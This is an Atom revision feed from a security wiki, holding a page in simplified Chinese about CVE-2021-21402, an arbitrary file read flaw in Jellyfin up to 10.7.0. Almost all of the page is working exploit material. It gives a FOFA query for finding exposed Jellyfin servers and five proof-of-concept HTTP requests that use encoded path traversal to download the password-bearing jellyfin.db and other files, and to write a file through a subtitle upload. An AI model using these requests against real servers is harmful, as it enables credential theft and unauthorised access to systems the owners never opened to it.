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	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-21402_Jellyfin_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E%2Fzh-hans</id>
	<title>CVE-2021-21402 Jellyfin 任意文件讀取漏洞/zh-hans - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-21402_Jellyfin_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E%2Fzh-hans"/>
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	<updated>2026-04-09T18:06:58Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
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	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-21402_Jellyfin_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E/zh-hans&amp;diff=4850&amp;oldid=prev</id>
		<title>Atsud0: Created page with &quot;==影响版本==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-21402_Jellyfin_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E/zh-hans&amp;diff=4850&amp;oldid=prev"/>
		<updated>2021-06-12T09:26:05Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==影响版本==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==影响版本==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
jellyfin&amp;lt;=10.7.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==FOFA==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
title=&amp;quot;Jellyfin&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==POC1==&lt;br /&gt;
从服务器下载带有密码的&amp;lt;code&amp;gt;jellyfin.db&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1&lt;br /&gt;
Host: x.x.x.x&lt;br /&gt;
accept: application/json&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36&lt;br /&gt;
Referer: http://x.x.x.x/web/index.html&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Accept-Language: zh-CN,zh;q=0.9&lt;br /&gt;
Connection: close&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC2==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC3==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC4==&lt;br /&gt;
要下载的POC &amp;lt;code&amp;gt;c:tempfilename.jpg&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 &lt;br /&gt;
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==POC5==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1&lt;br /&gt;
...&lt;br /&gt;
X-Emby-Authorization: MediaBrowser DeviceId=&amp;quot;...&amp;quot;, Version=&amp;quot;10.7.0&amp;quot;, Token=&amp;quot;...&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
{&amp;quot;language&amp;quot;:&amp;quot;.\..\&amp;quot;,&amp;quot;format&amp;quot;:&amp;quot;.\..\test.bin&amp;quot;,&amp;quot;isForced&amp;quot;:false,&amp;quot;data&amp;quot;:&amp;quot;base64 encoded data&amp;quot;}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Atsud0</name></author>
	</entry>
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